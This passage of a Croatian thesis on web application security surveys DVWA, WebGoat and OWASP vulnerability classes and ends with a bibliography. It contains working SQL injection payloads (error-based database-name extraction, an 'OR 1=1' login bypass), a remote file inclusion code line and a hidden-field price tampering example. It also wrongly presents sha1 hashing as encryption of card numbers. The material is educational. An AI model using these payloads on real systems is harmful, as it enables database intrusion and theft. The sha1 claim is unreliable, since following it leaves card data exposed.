from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and '1'='1
Na ovaj će način modificirati SQL upit koji web stranica postavlja prema bazi
podataka u sljedeći oblik koji omogućuje napadaču da sazna heksadecimalnu
vrijednost naziva aktivne baze podataka, koju na vrlo lagan način može konvertirati u
ASCII vrijednost i tako saznati naziv aktivne baze podataka:
SELECT * FROM proizvod WHERE id_proizvoda='2' and(select 1
from(select count(*),concat((select (select
concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e))
from information_schema.tables limit 0,1),floor(rand(0)*2))x
from information_schema.tables group by x)a) and '1'='1'
104
Kod sljedećeg primjera je prikazano kako napadač može dobiti naziv aktivnog
korisnika baze podataka (administatora), za SQL Server bazu podataka, a web
stranica koja ima SQLi propust je napravljena u Java tehnologiji:
www.cipele-hlapic.hr/katalog.jsp?id=2 AND USER_NAME()='dbo'
Funkcija USER_NAME() je funkcija svojstvena SQL Server bazi podataka koja vraća
naziv administratora baze podataka.
Na sličan se način mogu dodavati novi zapisi u bazu podataka, modificirati postojeći,
odnosno, moguće je prouzročiti znatne štete podacima koje napadnuta baza podataka
sadrži, pogotovo ako se radi o bazi podataka neke institucije koja sadrži povjerljive
informacije čije kompromitiranje od strane treće osobe bi izazvalo sigurnosni incicent
popraćen smanjenjem kredibiliteta klijenta tvrtke koja je doživjela ovaj tip
sigurnosnog napada.
6.1.7.2. Način zaštite od SQLi napada
Postoji nekoliko načina na koje programeri mogu zaštititi web aplikacije od ove vrste
napada:
•
Određivanje tipa, duljine, formata i raspona vrijednosti ulaznih podataka
koje utječu na pokretanje SQL upita. Na taj način se sprječava unošenje krivih
podataka kao uvjete SQL upita
•
Korištenje pohranjenih procedura (engl. stored procedures) za
preuzimanje podataka i manipuliranje podacima iz baze podataka, čime se
funkcionalnost manipuliranja podacima postavlja na server na kojem se nalazi
baza podataka, a ne na web server koji prikazuje web stranicu.
•
Postavljanje ograničenja korisnika nad bazom podataka, odnosno
postavljanje korisnika koji imaju ograničen pristup bazi podataka. U idealnom
slučaju, bilo bi poželjno da se dopusti izvršavanje spremljenih procedura te
zabranjivanje izravnog pristupa bazi podataka.
•
Izbjegavanje prikaza detaljnog opisa greške nad SQL upitom, odnosno
postavljanje neke web stranice koja će služiti samo za prikaz da je došlo do
greške.
105
6.2. WebGoat
WebGoat je namjerno ranjiva J2EE aplikacija, čija osnovna svrha je učenje sigurnosti
web aplikacija kroz lekcije koje ova aplikacija nudi. Kod svake lekcije, polaznik mora
pokazati razumijevanje sigurnosnog propusta koji rješava kroz testiranje stvarnog
propusta u WebGoat aplikaciji.
Na primjer, jedna lekcija traži od polaznika da korištenjem SQLi ukrade brojeve
kreditnih kartica. Ova aplikacija pruža realistično okruženje za učenje o sigurnosti
web aplikacija, pružajući polaznicima objašnjenja kako proći pojedine lekcije.68
Osnovna namjena ove aplikacije je pružanje interaktivne okolinu za učenje o
sigurnosti web aplikacija na konkretnim primjerima.
68
Izvor: http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project – učitano 8.1.2011.
106
6.2.1. Propusti kontrole pristupa (engl. Access Control Flaws)
Propusti kontrole pristupa (engl. Access Control Flaws) se odnose na na načine na
koji se ostavljaju propusti preko kojih neautorizirani korisnici mogu „ući“ u sustav i
mijenjati podatke zbog nedovoljno pažnje posvećene ovom tipu sigurnosnog propusta
prilikom izrade web aplikacije.
Neki od načina na koji se može probiti u sustav uključuje zaobilaženje kontrolne
sheme koja se temelji na dopuštenjima za pregled određenog direktorija. Naime, ovaj
sigurnosni propust pruža mogućnost napadaču da pregledava podatke iz datoteke
koja se nalazi izvan direktorija kojem može pristupati korištenjem svojeg dodijeljenog
dopuštenja.
Sljedeći način koji može sadržavati sigurnosni propust je sustav pristupa temeljen na
korisničkim privilegijama (engl. role based access control). Ovdje postoji nekoliko
načina na koje je moguće da neautorizirani korisnici mijenjaju podatke.
Zaobilaženje prezentacijskog sloja kontrole pristupa kod kojeg se iskorištava ranjivost
loše definiranog načina mijenjanja podataka o korisnicima, npr. moguće je izbrisati
aktivnog korisnika zbog loše postavljenog ograničenja u funkciji koja poziva
proceduru za brisanje korisnika.
Na sličan način se odvija zaobilaženje sloja kontrole pristupa temeljen na podacima,
odnosno kod ovog oblika se iskorištava identifikacijski broj korisnika kako bi se iz
aktivno prijavljenog korisnika, uz pomoć identifikacijskog broja korisnika koji se želi
izbrisati, izbrisao željeni korisnik.
Pristup administracijskom dijelu aplikacije isto tako može biti jedan od izvora
sigurnosnog propusta.
107
6.2.2. Sigurnost AJAX-a (engl. AJAX Security)
AJAX je skup metoda koje omogućuju da web aplikacije preuzimaju podatke sa
servera na asinkroni način, bez da se mijenja prikaz postojeće web stranice.
AJAX sadržava mnogo potencijalnih sigurnosnih propusta poput propusta preko
kojeg se uz pomoć modifikacije DOM-a(engl. Document Object Model) na web
pregledniku napadač može izvršiti promijenjeni kôd koji se nalazi na klijentskoj
strani.
Mogućnost filtriranja podataka na klijentskoj strani, ukoliko su neki podaci sakriveni
od prikaza na web pregledniku, ali su prikazani u HTML kôdu web stranice, čime je
sigurnost podataka ugrožena.
Zaštita pokretanja web stranica koje se ne nalaze na web serveru na kojem se nalazi
web aplikacija je još jedan oblik zaštite sigurnosti.
Napad „XML injection“ je oblik napada koji se temelji na tome da manipulira ili
kompromitira logiku XML aplikacije ili servisa.
6.2.3. Autentifikacijski nedostaci (engl. Authentiation Flaws)
Nedostaci u autentifikacijskom modulu koji omogućuje korisnicima da ponovno
kreiraju novu lozinku ukoliko su staru zaboravili, mogu znatno smanjiti sigurnost
same web aplikacije.
Kako bi se povećala sigurnost priliko autentifikacije i spriječili propusti prilikom
postupka kreiranja nove lozinke za korisnika koji je zaboravio svoju lozinku, potrebno
je izbjegavati jednostavne načine provjere podataka preko skrivenih polja u HTML
kôdu, parametara u samom URL-u web stranice ili kolačića.
Preporučljivo je korištenje sesijske varijable koja ima ograničeno vrijeme isteka. Isto
tako, prilikom implementacije sustava za povrat lozinke potrebno je provjeravati je li
prethodni korak u ovom procesu uspješno proveden.
108
6.2.4. Prekoračenje kapaciteta međuspremnika (engl. Buffer Overflow)
Prekoračenje kapaciteta međuspremnika se odnosi na programsku pogrešku, odnosno
stanje kada proces pokušava spremiti podatke izvan granica međuspremnika određene
duljine.
Posljedica toga je da oni podaci koji su „višak“, prepišu susjedne memorijske lokacije
gdje se mogu nalaziti drugi međuspremnici i varijable.
6.2.5. Kvaliteta programskog kôda (engl. Code Quality)
Budući da programeri prilikom izrade web projekata ponekad znaju biti nemarni,
ostavljajući bilješke kako nešto napraviti i sl, napadač može iskoristiti tu nemarnost te
ugroziti sigurnost rada web stranice.
Zbog toga je preporučljivo slijediti načela ispravnog programiranja i ne dozvoliti da
sitne greške poput zaostalih komentara programera utječu na samu sigurnost
funkcioniranja čitave web aplikacije.
6.2.6. Konkurentnost (engl. Concurrency)
Greška konkurentnosti procesa se događa u slučajevima kada dva ili više korisnika
pokušavaju pristupiti istoj informaciji u isto vrijeme. Ovaj sigurnosni manjak može
uzrokovati smanjeni integritet baze podataka, a u najgorem slučaju, može doći i do
gubitka podataka. Prilikom izrade web aplikacija potrebno postaviti veći naglasak na
ovaj aspekt računalne sigurnosti.
6.2.7. Cross-Site Scripting (XSS)
Cross-site scripting (XSS) je oblik ranjivosti web aplikacije kod koju napadač koristi
kako bi postavio skriptu sa klijentske strane, čiji će učinak biti vidljiv svim
posjetiteljima web stranice.
Više o ovom tipu napada možete pronaći kod opisivanja metoda programa DVWA,
ranije objašnjeno u ovom projektu, pod naslovom XSS.
109
6.2.8. Denial Of Service (DDOS)
Kod ovog tipa napada, napadač sprječava pristup web serveru kroz preopterećivanje
računalne mreže slanjem mnogostrukih zahtjeva (engl. requests) prema web serveru.
Na taj način sprječava se da legitimni korisnici pristupaju podacima na web
stranicama ili ostalim servisima web servera koji je napradnut.
Najtipičniji DDOS napad je napad kod kojeg napadač „zatrpava“ mrežu sa
nepotrebnim informacijama. Ukoliko neki korisnik želi pristupiti web stranici koja je
izložena DDOS napadu, budući da je napadač preopteretio web server koji isporučuje
web stranicu, ta web stranica se neće prikazati korisniku.
Napadač može na sličan način slati spam poruke na nečiji email. Budući da kod
svakog email servisa postoji ograničenje prostora (engl. quota) u koji se mogu
spremiti email poruke, napadačeve poruke mogu „popuniti“ ovaj prostor i time
spriječiti dobivanje legitimnih email poruka.
Distribuirani DDOS napad se sastoji u tome što napadač može instalirati svoj
maliciozni program na tuđe računalo i s njegovog računala pokretati DDOS napade
bez dopuštenja korisnika tog računala.
Glavne mete DDOS napada su profitni web poslužitelji, banke, tvrtke koje obrađuju
podatke sa kreditnih kartica te DNS poslužitelji.
Način zaštite od ovakvog tipa napada uključuje instaliranje antivirusnog softvera i
provođenje skeniranja sustava u određenim vremenskim intervalima, pravilno
instaliranje i konfiguriranje vatrozida, podešavanje spam filtera i sl.
6.2.9. Nepravilno postupanje sa greškama (engl. Improper Error Handling)
Nepravilno postupanje sa greškama je problem kod kojeg je detaljan prikaz greške
koja se dogodila vidljiv krajnjem korisniku. Detaljan tekst greške može uključivati
povjerljive informacije o bazi podataka, o tablici u kojoj se dogodila greška i sl. Ovim
porukama je krajnjem korisniku vidljivo puno više nego što bi to trebalo biti. Na taj
način, potencijalni napadač može osmisliti strategiju iskorištavanja ranjivosti i
kompromitirati rad web stranice.
110
Web aplikacije tijekom svojeg rada generiraju mnoge greške poput „null pointer
exception“, „system call failure“, poruke da je baza podataka nedostupna i sl. Prikaz
informacije o grešci koja se dogodila mora se oblikovati na način da se prikaže
odgovarajuća poruka krajnjem korisniku, informacija o problemu administratoru web
stranice, ali se isto tako mora paziti da se ne prikaže nikakva informacija koja bi
mogla poslužiti napadaču u iskorištavanju ranjivosti web stranice.
Ukoliko se ne ukloni ovakav oblik sigurnosnog propusta, napadači osim što mogu
saznati određene informacije iz teksta greške, mogu i kreirati DDOS napad ili buffer
overflow napad čime mogu dodatno ugroziti sigurnost rada web aplikacije.
Kako bi se spriječio prikaz neželjenih informacija o grešci koja se dogodila krajnjem
korisniku, a potencijalnom napadaču, potrebno je kreirati određene web stranice koje
će služiti samo za prikaz teksta određenog tipa greške.
Sljedeći primjer prikazuje tekst koji se nebi smio prikazati ukoliko je postavljena
adekvatan sustav za prikaz poruke o greškama:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near 'zo LIMIT 1' at line 1
6.2.10. SQLI
SQL injection je metoda koji omogućuje napadaču web stranice koja ima ovaj
sigurnosni propust, pristup bazi podataka iz koje napadnuta web stranica „uzima“
podatke.
Više o ovoj metodi možete pronaći u tekstu o SQLi, prilikom objašnjavanja metoda
programa DVWA, pod naslovom SQL Injection.
6.2.11. Nesigurna komunikacija (engl. Insecure Communication)
Povjerljive informacije se ne smiju slati preko mreže u izvornom obliku. Web
aplikacije često tek nakon autorizacije pokreću prikaz web stranica preko sigurne veze
111
(SSL veze). Na taj način, napadaču ostavljaju mogućnost da napadač prikupi
osjetljive informacije prije nego što je postavljena sigurna veza.
Kako bi se spriječilo prikupljanje osjetljivih informacija potrebno je enkriptirati
osjetljive podatke popust brojeva kreditnih kartica, koji se prenose mrežom.
Kod sljedećeg primjer je prikazano kako je lako enkriptirati povjerljive podatke
korištenjem samo jedne funkcije u PHP programskom jeziku:
echo sha1('broj moje kreditne kartice');
6.2.12. Nesigurna konfiguracija (engl. Insecure Configuration)
Budući da je vrlo česta pojava da programeri koji se bave razvojem web aplikacije
nisu povezani sa timom ljudi koji se bave održavanjem web stranica, potrebno je da
članovi oba tima zajednički surađuju kako bi sinkronizirali nadogradnje aplikacija i
tim spriječili moguće kompromitiranje aplikacije.
Postoji čitav niz konfiguracijskih propusta poput:
•
Neažurirani softver sustava
•
Propusti u softveru sustava koji omogućuju ispisivanje sadržaja direktorija
•
Nepotrebne backup i slične datoteke
•
Nepravilno postavljena dopuštenja na direktorije
•
Nepotrebno pokretanje servisa poput udaljene administracije operativnog
sustava i sl.
Neki od ovih propusta moguće je pronaći uz pomoć alata za sigurnosno skeniranje.
Instalacija sigurnog softvera i sigurne konfiguracije, osnovni su zahtjev za postizanje
sigurnosti web aplikacije.
6.2.13. Nesigurna pohrana podataka (engl. Insecure Storage)
Većina web aplikacija ima potrebu za spremanjem osjetljivih podataka u bazu
podataka ili u neku datoteku. Osjetljivi podaci mogu biti brojevi kreditnih kartica,
zapisi o klijentima ili slične povjerljive informacije. Kako bi se zaštitili ovi podaci,
koriste se različite metode enkripcije. Iako se metode enkripcije vrlo lako
112
implementira i koristi, mnogi web developeri prave greške prilikom njihove
implementacije u web aplikaciju.
Neke od grešaka koje programeri rade ne razmišljajući o mogućim posljedicama na
sigurnost uključuju nesigurnu pohranu osjetljivih ključeva, certifikata i lozinki,
nepravilno spremanje povjerljivih podataka u memoriju, loš odabir algoritama za
kriptiranje i sl.
Najjednostavniji način na koji se web aplikacija može zaštititi od napada na podatke
koji su zaštićeni nekom od kriptografskih metoda jest što manje koristiti kriptografiju
te korištenjem samo onih podataka koji su neosporno potrebni.
Ukoliko se kriptografske metode moraju koristiti, onda se preporuča korištenje
biblioteka koje su dostupne svim korisnicima te koje nemaju nikakve otvorene
ranjivosti.
6.2.14. Izvršavanje malicioznih programa (engl. Malicious Execution)
Ranjivost preko izvršavanja maliciozne datoteke česta je pojava kod mnogih web
aplikacija. Ovaj tip ranjivosti se sastoji u tome da zlonamjerni korisnik izvrši
programske naredbe pod privilegijama administratora operativnog sustava na kojem
se izvršava web stranica, a odvija se bez znanja autora web stranice koja je napadnuta.
Sljedeći primjer predstavlja funciju PHP programskoj jezika preko koje se može u
aplikaciju uključiti udaljena maliciozna skripta preko parametra „filename“.
include $_REQUEST['filename’];
6.2.15. Parametar Tampering
Web Parametar Tampering je napad na sigurnost web aplikacije na način da se
mijenjaju parametri koji se prenose između klijenta i servera, s ciljem modifikacije
podataka poput privilegija korisnika, identifikacijskog broja i količine nekog
proizvoda i sl. Ovi su podaci uobičajeno spremljeni u kolačićima, sakrivenim
113
elementima unutar HTML forme ili u URL tekstu te se koriste kako bi omogućavale
funkcionalnost i kontrolu aplikacije.
Ovaj oblik napada pokreće maliciozni korisnik koji želi u svoju korist iskoristiti
ranjivost web aplikacije prilikom čega koristi programe poput Webscarab ili Paros
proxy.
Korištenjem ovih alata, napadač može na ranjivoj web stranici zaobići ograničenje
korištenja pojedinih HTML elemenata na web stranici, čitati podatke koji se nalaze u
skrivenim HTML elementima (engl. hidden fileds), zaobići validaciju na klijentskoj
strani koja se temelji na javascript tehnologiji i sl.
Na primjer, ukoliko apliakcija koristi skrivena polja (engl. hidden fields) kako bi
spremala informacije o statusu, maliciozni korisnik uz pomoć gore navedenih
programa može promijeniti te informacije i promijenjene informacije poslati web
aplikaciji kao da su izvorne.
Izvorna informacija o cijeni:
<input type=”hidden” id=”1008” name=”cost” value=”70.00”>
Koji maliciozni korisnik može promijeniti tako da smanji vrijednost, npr:
<input type=”hidden” id=”1008” name=”cost” value=”20.00”>
6.2.16. Upravljanje sesijama (engl. Session Management Flaws)
Sesije su omogućile da se podaci koji se prenose preko HTTP protokola, koji je
protokol bez stanja (engl. stateless), podržava stanja. To znači ako je jednom korisnik
autentificiran od strane web aplikacije, sljedeći POST ili GET zahtjevi prema web
stranici ne bi smjeli pokretati postupak autentifikacije.
Podaci o sesiji su spremljeni na web serveru u obliku određenog identifikatora sesije,
a mogu se nalaziti u bazi podataka, u datotekama ili u memoriji web servera.
Mnoge web aplikacije omogućuju prijavu u njihovu web stranicu već ako je
specificiran autentifikacijski kolačić. Napadač može ukrasti kolačiće sa nekog
računala, do kolačića se može doći i preko XSS napada i na druge načine.
114
Programeri koji razvijaju svoje identifikatore sesija često zaboravljaju uključiti
složenost i nasumičnost kao elemente povećavanja sigurnosti. Ukoliko identifikator
sesije za pojedinog korisnika nije složen i generiran nasumično, aplikacija je ranjiva
za krađu sesija (engl. session hijacking).
Ukoliko svi podaci o autentifikaciji korisnika u sustav koji se premose mrežom nisu
zaštićeni SSL vezom i zaštićeni od ostalih vrsta napada poput XSS, napadač može
„ukrasti“ prijavljenom korisniku njegovu sesiju te na taj način kompromitirati njegov
identitet.
6.2.17. Web servisi (engl. Web Services)
Web servis je bilo koji servis koji je dostupan preko Interneta, koristi standardizirani
XML sustav prijenosa poruka i nije vezan uz određeni programski jezik ili operacijski
sustav.
Budući da su bazirani na otvorenim standardima kao što su HTTP i XML-bazirani
protokoli uključujući SOAP i WSDL, web servisi su neovisni o hardveru,
operativnom sustavu i programskom jeziku.
Budući da se zahtjevi prema web servisu šalju kako bi se pokrenula određena funkcija
koja je definirana unutar WSDL-a, jezika za opisivanje web servisa, tako napadač
može dodati parametre zahtjeva koji zapravno ne postoje i kompromitirati
funkcionalnost web servisa.
6.2.18. Zaključak o programima DVWA i WebGoat
Programi DVWA i WebGoat su odlični programi koji simuliraju određene vrste
sigurnosnih propusta i pružaju sigurnu okolinu da svaki pojedinac koji ih instalira na
svoje lokalno računalo, može proučavati načine kako da probije sigurnosne
mehanizme koje ove aplikacije pružaju.
115
Osim što pružaju stvarne zadatke iz sigurnosti web aplikacija, pružaju i niz linkova
preko kojih se korisnik može naučiti o tipu ranjivosti koji će rješavati.
Instalacija i podešavanje ovih apliakcija je vrlo jednostavno i može se provesti na više
operativnih sustava, odnosno ove aplikacije se mogu instalirati na Windows, Linux i
Mac operacijske sustave.
Ove dvije aplikacije preporučio bih svim računalnim profesionalcima, a pogotovo
sigurnosnim stručnjacima i web developerima kako bi više mogli naučiti o sigurnosti
web aplikacija o kojima se brinu ili koje razvijaju.
6.3 WebGoat SQLi demonstracija
U WebGoat programu ću demonstirati String SQLi napad. Potrebno je prijaviti se u
WebGoat aplikaciju i odabrati Injection Flaws -> LAB:SQL injection -> Stage 1:
String SQL injection.
Kod ovog primjera pokušat demonstrirat ću kako se može pristupiti
administracijskom dijelu aplikacije ukoliko je sustav za prijavljivanje ranjiv za SQLi.
Na sljedećoj slici prikazan je forma za prijavu korisnika kod koje je potrebno odabrati
korisnika pod nazivom „Neville“.
Slika 6.1. Prijava korisnika u lekciji kod koje se ispituje SQLi ranjvost
116
Za SQLi napad potrebno je instalirati dodatak „Temper Data“ za Firefox kojim se
modificira HEADER koji se šalje prema web aplikaciji. Ovaj dodatak možete pronaći
na sljedećoj lokaciji: http://tamperdata.mozdev.org/.
U Firefoxu pronađite opciju Alati -> Tamper Data i unutar dijaloškog okvira koji se
prikazao kliknite na gumb „Start Tamper“ čime se započinje „snimanje“ http prometa.
Slika 6.2. Tamper Data – pokretanje „snimanja“ prometa
Zatim je potrebno klinuti na gubm „Login“ kod kojeg je odabran korisnik „Neville“
bez upisivanja ikakvog teksta kao njegove lozinke. Pojavit će se dijaloški okvir kao
što je prikazano na slici dolje te je u polje password potrebno upisati x' OR '1'='1.
117
Slika 6.3. Postavljanje SQLi teksta
Slika 6.4. Prikaz administracije – uspješno svladavanje lekcije
Na ovaj način smo pristupili administraciji.
118
7. Literatura
1. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2004-1093.pdf (učitano 25.10.2010.)
2. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2007-07199.pdf (učitano 25.10.2010.)
3. http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09276.pdf (učitano 25.10.2010.)
4. http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplo
mski.pdf (učitano 25.10.2010.)
5. http://www.cert.hr/filehandler.php?did=412 (učitano 25.10.2010.)
6. http://www.owasp.org/index.php/Top_10_2007-Methodology (učitano
25.10.2010.)
7. http://www.owasp.org/index.php/Main_Page (učitano 25.10.2010.)
8. http://www.owasp.org/index.php/OWASP_Testing_Project (učitano 25.10.2010.)
9. http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project (učitano
25.10.2010.)
10. http://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology (učitano
25.10.2010.)
11. http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20%202010.pdf (učitano 3.1.2011.)
12. http://owasptop10.googlecode.com/files/OWASP_Top_10__2010%20Presentation.pptx (učitano 3.1.2011.)
13. http://www.owasp.org/index.php/Top_10_2010 (učitano 3.1.2011.)
14. http://www.symantec.com/connect/articles/password-crackers-ensuring-securityyour-password (učitano 3.1.2011.)
15. http://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution
(učitano 3.1.2011.)
16. http://www.breach.com/resources/whitepapers/downloads/WP_Detecting_Remot
e_File.pdf (učitano 3.1.2011.)
17. http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29 (učitano
3.1.2011.)
18. http://www.acunetix.com/websitesecurity/xss.htm (učitano 3.1.2011.)
119
19. http://www.owasp.org/index.php/Unrestricted_File_Upload (učitano 4.1.2011.)
20. http://msdn.microsoft.com/en-us/library/ff648339.aspx (učitano 4.1.2011.)
21. http://www.us-cert.gov/cas/tips/ST04-015.html (učitano 4.1.2011.)
22. http://www.owasp.org/index.php/Improper_Error_Handling (učitano 4.1.2011.)
23. http://www.owasp.org/index.php/Insecure_Configuration_Management (učitano
4.1.2011.)
24. http://www.owasp.org/index.php/Insecure_Storage (učitano 5.1.2011.)
25. http://www.owasp.org/index.php/Web_Parameter_Tampering (učitano 5.1.2011.)
26. http://www.owasp.org/index.php/Broken_Authentication_and_Session_Managem
ent (učitano 5.1.2011.)
27. http://www.hackyeah.com/wp-content/uploads/2010/05/HackYeah-SQLInjection.pdf (učitano 7.1.2011.)
28. http://iaclub.ist.psu.edu/files/2010-09-09-dvwa-slides.pptx (učitano 8.1.2011.)
29. http://www.dvwa.co.uk/download/DVWA_BruCON.pdf (učitano 8.1.2011.)
30. http://os2.zemris.fer.hr/ns/malware/2007_zelanto/sql.html (učitano 7.1.2011.)
31. http://os2.zemris.fer.hr/ns/malware/2007_zelanto/xss.html (učitano 7.1.2011.)
32. http://www.owasp.org/index.php/Category:OWASP_Guide_Project#tab=Downlo
ads (učitano 5.1.2011.)
33. http://www.zimbio.com/SQL/articles/x8xK0bDC06/SQL+Injection+Walkthrough+DVWA (učitano 5.1.2011.)
34. http://securitymusings.com/article/1350/dvwa-damn-vulnerable-web-app
(učitano 5.1.2011.)
35. http://www.owasp.org/index.php/Category:OWASP_Project (učitano
04.01.2011.)
36. http://www.owasp.org/index.php/Category:OWASP_Project#tab=Release_Qualit
y_Projects (učitano 04.01.2011.)
37. http://www.owasp.org/index.php/Category:OWASP_Project#tab=Beta_Status_P
rojects (učitano 04.01.2011.)
38. http://www.owasp.org/index.php/Category:OWASP_Tools_Project (učitano
04.01.2011.)
39. http://www.owasp.org/index.php/OWASP_WebScarab_Project (učitano
05.01.2011.)
40. http://www.owasp.org/index.php/OWASP_WebScarab_NG_Project (učitano
05.01.2011.)
120
41. http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project (učitano
06.01.2011.)
42. http://www.owasp.org/index.php/Category:Attack (učitano 07.01.2011.)
121
8. Popis priloga
8.1. Popis slika
Slika 2.1. Postotak najčešćih ranjivosti Web aplikacija po klasama ............................. 5
Slika 2.2. Deset najčešće korištenih napada na web aplikacije ................................... 10
Slika 3.1. Shema CSRF napada ................................................................................... 23
Slika 3.2. Curenje informacija kod XSS napada ......................................................... 27
Slika 4.1. WebScarab .................................................................................................. 72
Slika 4.2. WebScarab NG ........................................................................................... 72
Slika 4.3. WebGoat - Lekcija o krađi sesije ................................................................ 74
Slika 5.1. Izgled DVWA sučelja ................................................................................. 78
Slika 5.2. XSS ............................................................................................................. 84
Slika 5.3. Sučelje s naredbenim retkom za ping IP adrese .......................................... 88
Slika 5.4. Passwd file, ali nema shadow file ............................................................... 89
Slika 5.5. Sučelje CSRF ranjivosti za low razinu zaštite ............................................ 92
Slika 5.6. Sučelje CSRF ranjivosti za high razinu zaštite ........................................... 92
Slika 6.1. Prijava korisnika u lekciji kod koje se ispituje SQLi ranjvost .................. 116
Slika 6.2. Tamper Data – pokretanje „snimanja“ prometa ........................................ 117
Slika 6.3. Postavljanje SQLi teksta ........................................................................... 118
Slika 6.4. Prikaz administracije – uspješno svladavanje lekcije ............................... 118
8.2. Popis tablica
Tablica 2.1. Prikaz web stranica za ranjivostima .......................................................... 5
Tablica 3.1. Usporedba popularnih preglednika u 2009. godini ................................. 12
Tablica 4.1: Izvor: OWASP Top 10 - 2010 Document ............................................... 34
Tablica 4.2. Jačina rizika ............................................................................................. 36
Tablica 4.3. Opis injekcije (engl. injection) ................................................................ 40
Tablica 4.4. Opis Cross-Site Scripting (XSS) ............................................................. 42
Tablica 4.5. Opis lošeg upravljanja autentikacijom i sesijama ................................... 44
Tablica 4.6. Opis nesigurne direktne reference na objekte ......................................... 46
122
Tablica 4.7. Opis CSRFmetode ................................................................................... 48
Tablica 4.8. Opis krive konfiguracije sustava sigurnosti ............................................ 50
Tablica 4.9. Opis nesigurne kriptografske pohrane..................................................... 53
Tablica 4.10. Opis neuspjelog ograničavanja URL pristupa....................................... 55
Tablica 4.11. Opis nedovoljne zaštite na razini transportnog sloja ............................. 57
Tablica 4.12. Opis neprovjerenog preusmjeravanja i prosljeđivanja .......................... 59
Tablica 4.13. Popis projekata distribucijske kvalitete (engl. Release Quality Projects)
..................................................................................................................................... 62
Tablica 4.14. Popis projekata beta statusa................................................................... 65
123

3. CSRF napadi - Laboratorij za sustave i signale

Analitika Web mjesta

Plan i program - Učilište AKD Zaštita

2 Krađa Sjednice

APT napadi NCERT-PUBDOC-2012-12-333

Najčešće web ranjivosti

pdf

Razvoj poslovnih web aplikacija

OSNOVE STATISTIKE